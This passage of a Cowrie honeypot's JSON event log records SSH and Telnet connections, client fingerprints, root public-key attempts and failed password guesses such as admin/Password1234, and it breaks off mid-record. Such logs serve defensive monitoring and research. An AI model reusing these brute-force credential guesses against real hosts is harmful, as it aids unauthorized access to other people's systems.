{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:22.391104Z","src_ip":"47.239.15.75","session":"2e56552c46fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d48abd8cfc","protocol":"ssh","message":"New connection: 108.181.2.243:57086 (10.17.0.5:22) [session: 69d48abd8cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.030885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.034971Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.103423Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:eb:6d:37:86:82:f5:4f:b3:66:9b:32:dd:c7:4e:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEloKf+MwAO4J33EUtKXCEQAJb+rwP9qnkKRgNn8EjH53KMrwnDf+n/KqMaxsHOGrSBierufjEGoJDmHhW/3uuXWwF4QBhMupiv7/bY4jI4kfICgZpi4GVbEt+AQaiwPMPVZpSX2k+IRdI8rtfnsZ6//TwWFuzIJReN1NGZBISVwp+aGZILxUArk70s5zI4c9hzgLOIays3dy24RK+M2tX/cn4cKIYFvZh2f+o9zO5NbC4PVayBnW7y4GXt4IpYZxrNRtLW1es+zn7b/HIXu2mUS+DB1quOPzv5eXupyPqz5oY7TLA3GgXEuJLtKRN2CUi6y0LP69W1l0taoMCe9U7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:eb:6d:37:86:82:f5:4f:b3:66:9b:32:dd:c7:4e:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.426410Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:eb:6d:37:86:82:f5:4f:b3:66:9b:32:dd:c7:4e:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEloKf+MwAO4J33EUtKXCEQAJb+rwP9qnkKRgNn8EjH53KMrwnDf+n/KqMaxsHOGrSBierufjEGoJDmHhW/3uuXWwF4QBhMupiv7/bY4jI4kfICgZpi4GVbEt+AQaiwPMPVZpSX2k+IRdI8rtfnsZ6//TwWFuzIJReN1NGZBISVwp+aGZILxUArk70s5zI4c9hzgLOIays3dy24RK+M2tX/cn4cKIYFvZh2f+o9zO5NbC4PVayBnW7y4GXt4IpYZxrNRtLW1es+zn7b/HIXu2mUS+DB1quOPzv5eXupyPqz5oY7TLA3GgXEuJLtKRN2CUi6y0LP69W1l0taoMCe9U7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.430851Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:83:c5:93:6d:35:ae:0b:a3:f7:2d:24:84:79:9a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFfqepsnpyountdS9ZDU1U7T0d6EzvZCPHsQtTj7HZmM5eVKuOZTBsUx/xaVAuP7dzqRwVHwu26Gut6shJPPwfzFos1Tuj1an+Tp9M7y6UZFtSqnEwm0M28/UjPxpJmYcqsQcrjmEV9AId9KWXCY6xsTAhiPpuyyGQul0tVbIDiRQuRuOSiL1m5CqtWwyFenO6DBsBEnU1ZMpfTC3Bq4CW0xOeeE7mZGGjpgQha8bR4NwZBZ6wvX+Qn8Se/VFwd20JXdEoUA74FtQFv5XFH9PRcYQ5h1fS16hPPuwyI2SFEGrypnsYIF6UicC0pi7L+AE5vj/2rX3O91MHki6nPvS9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:83:c5:93:6d:35:ae:0b:a3:f7:2d:24:84:79:9a:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.503943Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:83:c5:93:6d:35:ae:0b:a3:f7:2d:24:84:79:9a:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFfqepsnpyountdS9ZDU1U7T0d6EzvZCPHsQtTj7HZmM5eVKuOZTBsUx/xaVAuP7dzqRwVHwu26Gut6shJPPwfzFos1Tuj1an+Tp9M7y6UZFtSqnEwm0M28/UjPxpJmYcqsQcrjmEV9AId9KWXCY6xsTAhiPpuyyGQul0tVbIDiRQuRuOSiL1m5CqtWwyFenO6DBsBEnU1ZMpfTC3Bq4CW0xOeeE7mZGGjpgQha8bR4NwZBZ6wvX+Qn8Se/VFwd20JXdEoUA74FtQFv5XFH9PRcYQ5h1fS16hPPuwyI2SFEGrypnsYIF6UicC0pi7L+AE5vj/2rX3O91MHki6nPvS9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.508269Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:1e:ec:31:fb:94:a7:04:7d:52:1d:e0:9c:82:d9:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKxo8j2+YPB8BtbbCRrorC3UY5aTMw9wCH1dvc+8aU96ZqtZOg4GoaiN4QEf+qRkRkZMhhp4x+B5ypefDMvXg8HZXTcyy/Y6ivFVyHmH9kVcpj9TNAv3fx2+BsYaAPJwZMftobQzwXHKUwRtuxUtsc5KD9cn3fF00QoRPecsRFCFAAAAFQCg9gWj36x2I+qxvsbuDuJr59IvfQAAAIEAmSWuKOuKy+ahcn8nJt7gli37a2/8vb5fFZxQLzdE7GdOaNZ3+BuTwVrMM2WrdMKsE6Qqqb3ZRHA4FCW22uCqilz9zqhXQFeWBuB9n1bfqRhTPMhssyNnRBhOQ5ytZ3gWXwiw1CDkZlso+eNvEK4ELq16sORf7e8+YXwe5PrC3n0AAACBAImrigAB6JLS/FI/n7EpeuCe1koiLjXzb7weieuvo0jNIkVwZmfxH0sa4jLtKLyC9DOS/XEB3J+qBRI1+jbdCowKbZUQgvsRqVzrEV6YyE+gvubTo5ii/3hem2ZkbXiD+HSf2I61AF6Q7h8J6WA6IGiRrLask/qJ8TB4PtpWUWG/","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 58:1e:ec:31:fb:94:a7:04:7d:52:1d:e0:9c:82:d9:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.579480Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:1e:ec:31:fb:94:a7:04:7d:52:1d:e0:9c:82:d9:84","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKxo8j2+YPB8BtbbCRrorC3UY5aTMw9wCH1dvc+8aU96ZqtZOg4GoaiN4QEf+qRkRkZMhhp4x+B5ypefDMvXg8HZXTcyy/Y6ivFVyHmH9kVcpj9TNAv3fx2+BsYaAPJwZMftobQzwXHKUwRtuxUtsc5KD9cn3fF00QoRPecsRFCFAAAAFQCg9gWj36x2I+qxvsbuDuJr59IvfQAAAIEAmSWuKOuKy+ahcn8nJt7gli37a2/8vb5fFZxQLzdE7GdOaNZ3+BuTwVrMM2WrdMKsE6Qqqb3ZRHA4FCW22uCqilz9zqhXQFeWBuB9n1bfqRhTPMhssyNnRBhOQ5ytZ3gWXwiw1CDkZlso+eNvEK4ELq16sORf7e8+YXwe5PrC3n0AAACBAImrigAB6JLS/FI/n7EpeuCe1koiLjXzb7weieuvo0jNIkVwZmfxH0sa4jLtKLyC9DOS/XEB3J+qBRI1+jbdCowKbZUQgvsRqVzrEV6YyE+gvubTo5ii/3hem2ZkbXiD+HSf2I61AF6Q7h8J6WA6IGiRrLask/qJ8TB4PtpWUWG/","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.583238Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:74:69:bc:04:98:75:f8:95:5b:8a:72:45:80:57:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9AlUj7Ky/0KI5MbZMG/RvHdUPIiYywE207YUCruL83EiehLL7+SYmQCV6Tn9M6YG+UZb+qlymJNbkFoGufyQuV40grppP0T11c+Iaw1ZgkeshanZDetfbkirm3VYKvdeqz9AgYtTtAPnRZHWh61W0Dk6bJfJ6eLUpYDR5POJ/Z2LDe5zJi6ZNPml/E9r/LH0louiDnCltIuD/M8040emica3f/OwKcYbCwR/UvJ4zvhu0kfOxMg7UQ0d1u1FCCOArfJzfcIduJ2fhDTrGKopuIn6mwc6fK+l7IDEGyurm4XRogE8vh9GvaB2yrNmO7BGJivtE903czr9RuyWFILz7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:74:69:bc:04:98:75:f8:95:5b:8a:72:45:80:57:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.716880Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:74:69:bc:04:98:75:f8:95:5b:8a:72:45:80:57:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9AlUj7Ky/0KI5MbZMG/RvHdUPIiYywE207YUCruL83EiehLL7+SYmQCV6Tn9M6YG+UZb+qlymJNbkFoGufyQuV40grppP0T11c+Iaw1ZgkeshanZDetfbkirm3VYKvdeqz9AgYtTtAPnRZHWh61W0Dk6bJfJ6eLUpYDR5POJ/Z2LDe5zJi6ZNPml/E9r/LH0louiDnCltIuD/M8040emica3f/OwKcYbCwR/UvJ4zvhu0kfOxMg7UQ0d1u1FCCOArfJzfcIduJ2fhDTrGKopuIn6mwc6fK+l7IDEGyurm4XRogE8vh9GvaB2yrNmO7BGJivtE903czr9RuyWFILz7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.721676Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:04:86:10:cf:ac:5a:d5:7a:1f:80:7c:a2:c3:d1:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtqw+Yo2aCcdGySM4oWJRWDTUG6Rb6pfL7rL4CNJ/WqlZL6EbjsFrQfmYni/w+34Cu+7oBBrKFeLshwA4OhTIbwPLUZgcaU5BkOHwreqO4Us/F8fNt1XIRtGs2bGg3oddLVjDv5fO3s5hrt0b1MrwmU+xFqUu4yqRJXTKWxed4wGxMTJOJQV8McxvmF8kI8J1zQ0kfekLeJeIylIBtebVHO7sB5NchyWfM/nAe+9OutEY//FfgiX1f/EoKGjtkQwq6YhoE60FIMArnlEtseG55Hh8Hkv9cZeptDWm7N7W4BsFh/2SkhF2WsM2mVlHqxEUMLXTEZtgjEJbSpscGNSDL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:04:86:10:cf:ac:5a:d5:7a:1f:80:7c:a2:c3:d1:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.797978Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:04:86:10:cf:ac:5a:d5:7a:1f:80:7c:a2:c3:d1:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtqw+Yo2aCcdGySM4oWJRWDTUG6Rb6pfL7rL4CNJ/WqlZL6EbjsFrQfmYni/w+34Cu+7oBBrKFeLshwA4OhTIbwPLUZgcaU5BkOHwreqO4Us/F8fNt1XIRtGs2bGg3oddLVjDv5fO3s5hrt0b1MrwmU+xFqUu4yqRJXTKWxed4wGxMTJOJQV8McxvmF8kI8J1zQ0kfekLeJeIylIBtebVHO7sB5NchyWfM/nAe+9OutEY//FfgiX1f/EoKGjtkQwq6YhoE60FIMArnlEtseG55Hh8Hkv9cZeptDWm7N7W4BsFh/2SkhF2WsM2mVlHqxEUMLXTEZtgjEJbSpscGNSDL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.801980Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:24.872511Z","src_ip":"108.181.2.243","session":"69d48abd8cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:27.029178Z","src_ip":"47.239.15.75","session":"a5c6e54f96d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59430,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da70406faea","protocol":"telnet","message":"New connection: 45.58.127.90:59430 (10.17.0.5:23) [session: 3da70406faea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:29.395127Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59438,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ac25d83858e","protocol":"telnet","message":"New connection: 45.58.127.90:59438 (10.17.0.5:23) [session: 2ac25d83858e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:31.492602Z"}
{"eventid":"cowrie.session.closed","duration":40.50553512573242,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:33.359739Z","src_ip":"45.58.127.90","session":"a2e9a53d3894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"50.3","message":"Connection lost after 50.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:33.468653Z","src_ip":"47.239.15.75","session":"a5c6e54f96d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:34.218387Z","src_ip":"47.239.15.75","session":"2e56552c46fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:26:36.038519Z","src_ip":"47.239.15.75","session":"2e56552c46fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54800,"dst_ip":"159.203.135.109","dst_port":22,"session":"10cea80546ad","protocol":"ssh","message":"New connection: 47.239.15.75:54800 (159.203.135.109:22) [session: 10cea80546ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:08.178495Z"}
{"eventid":"cowrie.session.closed","duration":40.36350655555725,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:09.758505Z","src_ip":"45.58.127.90","session":"3da70406faea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.88072657585144,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:11.373237Z","src_ip":"45.58.127.90","session":"2ac25d83858e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":55342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3511a72600e","protocol":"ssh","message":"New connection: 98.70.48.241:55342 (159.203.135.109:22) [session: c3511a72600e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:11.906039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:11.912095Z","src_ip":"98.70.48.241","session":"c3511a72600e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:12.113271Z","src_ip":"98.70.48.241","session":"c3511a72600e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password1234","message":"login attempt [admin/Password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:12.926271Z","src_ip":"98.70.48.241","session":"c3511a72600e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":38410,"dst_ip":"159.203.135.109","dst_port":23,"session":"80da7f0b0784","protocol":"telnet","message":"New connection: 147.182.143.59:38410 (159.203.135.109:23) [session: 80da7f0b0784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:13.619022Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe064c15f95","protocol":"telnet","message":"New connection: 45.58.127.90:36912 (10.17.0.5:23) [session: fbe064c15f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:14.005684Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:14.125121Z","src_ip":"98.70.48.241","session":"c3511a72600e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2783138751983643,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:16.283875Z","src_ip":"45.58.127.90","session":"fbe064c15f95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.22090744972229,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:20.839797Z","src_ip":"147.182.143.59","session":"80da7f0b0784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":5457,"dst_ip":"159.203.135.109","dst_port":22,"session":"01488a1bcb48","protocol":"ssh","message":"New connection: 84.239.42.8:5457 (159.203.135.109:22) [session: 01488a1bcb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:34.264396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:27:34.269795Z","src_ip":"84.239.42.8","session":"01488a1bcb48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","ae